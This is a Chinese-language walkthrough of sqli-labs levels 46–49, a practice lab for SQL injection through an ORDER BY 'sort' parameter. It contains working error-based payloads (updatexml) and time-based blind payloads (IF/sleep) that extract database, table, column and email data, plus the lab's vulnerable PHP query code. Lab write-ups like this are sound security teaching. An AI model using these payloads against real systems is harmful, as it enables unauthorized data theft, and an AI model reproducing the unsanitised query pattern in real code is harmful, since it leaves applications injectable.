zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 46 ~ 49

    Less 46 ~ 49 的网页功能是返回一个列表,因此我们不能借助回显位置进行注入。此时可以根据是否返回报错信息,选择使用报错注入还是时间盲注。

    Less 46

    判断注入类型

    打开网页,这是个新的网页,尝试输入新的参数 sort,网页回显用户名列表。

    ?sort=1
    


    改变参数 sort 的值,发现返回的列表是根据该表的第 sort 列排序进行回显。

    ?sort=2
    


    对 sort 参数使用单引号闭合,网页返回错误信息。

    ?sort=1'
    


    将后面的内容注释掉,网页返回错误的信息。进行下面的所有测试,得出此处存在数值型注入。

    ?sort=1'--+
    ?sort=1')--+
    ?sort=1'))--+
    ?sort=1"--+
    ?sort=1")--+
    ?sort=1"))--+
    

    获取数据库信息

    由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置。此处可以使用 updatexml() 函数进行报错注入,把敏感信息输出在错误信息中,payload 可以参考 Less 17。爆数据库名。

    ?sort=1 AND updatexml(1,concat("!",database()),2)#
    


    爆表名。

    ?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#
    


    爆字段名。

    ?sort=1 AND updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'emails')),2)#
    

    获取目标信息

    这次我们获取 emails 表中的信息。

    ?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)#
    


    改变 LIMIT 子句后的参数,取出其他数据。

    ?sort=1 AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)#
    

    SQL 查询语句

    $id = $_GET['sort'];
    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);
    if ($result)
    {
          ?>
          <center>
          <font color= "#00FF00" size="4">
    		
          <table   border=1'>
          <tr>
                      <th>&nbsp;ID&nbsp;</th>
    		  <th>&nbsp;USERNAME&nbsp;  </th>
    		  <th>&nbsp;PASSWORD&nbsp;  </th>
          </tr>
          </font>
          </font>
          <?php
          while ($row = mysql_fetch_assoc($result))
          {
                echo '<font color= "#00FF11" size="3">';		
                echo "<tr>";
                echo "<td>".$row['id']."</td>";
        	    echo "<td>".$row['username']."</td>";
        	    echo "<td>".$row['password']."</td>";
                echo "</tr>";
                echo "</font>";
          }	
          echo "</table>";		
    }
    else
    {
          echo '<font color= "#FFFF00">';
          print_r(mysql_error());
          echo "</font>";  
    }
    

    Less 47

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页返回错误信息。

    ?sort=1'
    


    将后面的内容注释掉,网页返回正常的信息,得出此处存在单引号闭合的字符型注入。

    ?sort=1'--+
    

    获取目标信息

    和 Less 46 差不多,使用单引号闭合即可,获取 emails 表中的信息。

    ?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 0,1)),1)--+
    


    改变 LIMIT 子句后的参数,取出其他数据。

    ?sort=1' AND updatexml(1,concat('!',(SELECT concat_ws(':',id,email_id) FROM (SELECT id,email_id FROM emails)text LIMIT 1,1)),1)--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users ORDER BY '$id'";
    

    Less 48

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

    ?sort=1'
    


    将后面的内容注释掉,网页无回显。进行下面的所有测试,得出此处存在数值型的盲注。

    ?sort=1'--+
    ?sort=1')--+
    ?sort=1'))--+
    ?sort=1"--+
    ?sort=1")--+
    ?sort=1"))--+
    

    获取数据库信息

    由于此处错误信息不回显,因此我们不能使用 updatexml() 报错注入。此时可以使用时间盲注,在 Less 46 和 Less 47 也可以使用时间盲注,payload 可以参考 Less 9。使用二分法测试数据库名长度为 8。

    ?sort=1 AND IF(LENGTH(database())=8,sleep(1),1)--+
    


    使用穷举法进行测试,得出数据库名的第一个字符为 “s”。

    ?sort=1 AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+
    


    接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

    ?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
    

    SQL 查询语句

    $id = $_GET['sort'];
    $sql = "SELECT * FROM users ORDER BY $id";
    $result = mysql_query($sql);
    if ($result)
    {
          ?>
          <center>
          <font color= "#00FF00" size="4">
    		
          <table   border=1'>
          <tr>
                <th>&nbsp;ID&nbsp;</th>
    	    <th>&nbsp;USERNAME&nbsp;  </th>
    	    <th>&nbsp;PASSWORD&nbsp;  </th>
          </tr>
          </font>
          </font>
          <?php
          while ($row = mysql_fetch_assoc($result))
          {
                echo '<font color= "#00FF11" size="3">';		
    	    echo "<tr>";
        	    echo "<td>".$row['id']."</td>";
        	    echo "<td>".$row['username']."</td>";
        	    echo "<td>".$row['password']."</td>";
    	    echo "</tr>";
    	    echo "</font>";
          }	
          echo "</table>";
    }
    

    Less 49

    判断注入类型

    输入正常参数,网页回显用户名列表。对 sort 参数使用单引号闭合,网页无回显。

    ?sort=1'
    


    将后面的内容注释掉,网页用户名列表,得出此处存在单引号闭合的字符型的盲注。

    ?sort=1'--+
    

    获取数据库信息

    使用时间盲注,流程和 Less 48 差不多,使用单引号闭合。得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。

    ?sort=1 AND IF(LEFT((SELECT database()), 8)='security',sleep(1),1)--+
    

    SQL 查询语句

    $sql = "SELECT * FROM users ORDER BY '$id'";
    
  • 相关阅读:
    Step by step Dynamics CRM 2013安装
    SQL Server 2012 Managed Service Account
    Step by step SQL Server 2012的安装
    Step by step 活动目录中添加一个子域
    Step by step 如何创建一个新森林
    向活动目录中添加一个子域
    活动目录的信任关系
    RAID 概述
    DNS 正向查找与反向查找
    Microsoft Dynamics CRM 2013 and 2011 Update Rollups and Service Packs
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13992102.html
Copyright © 2011-2022 走看看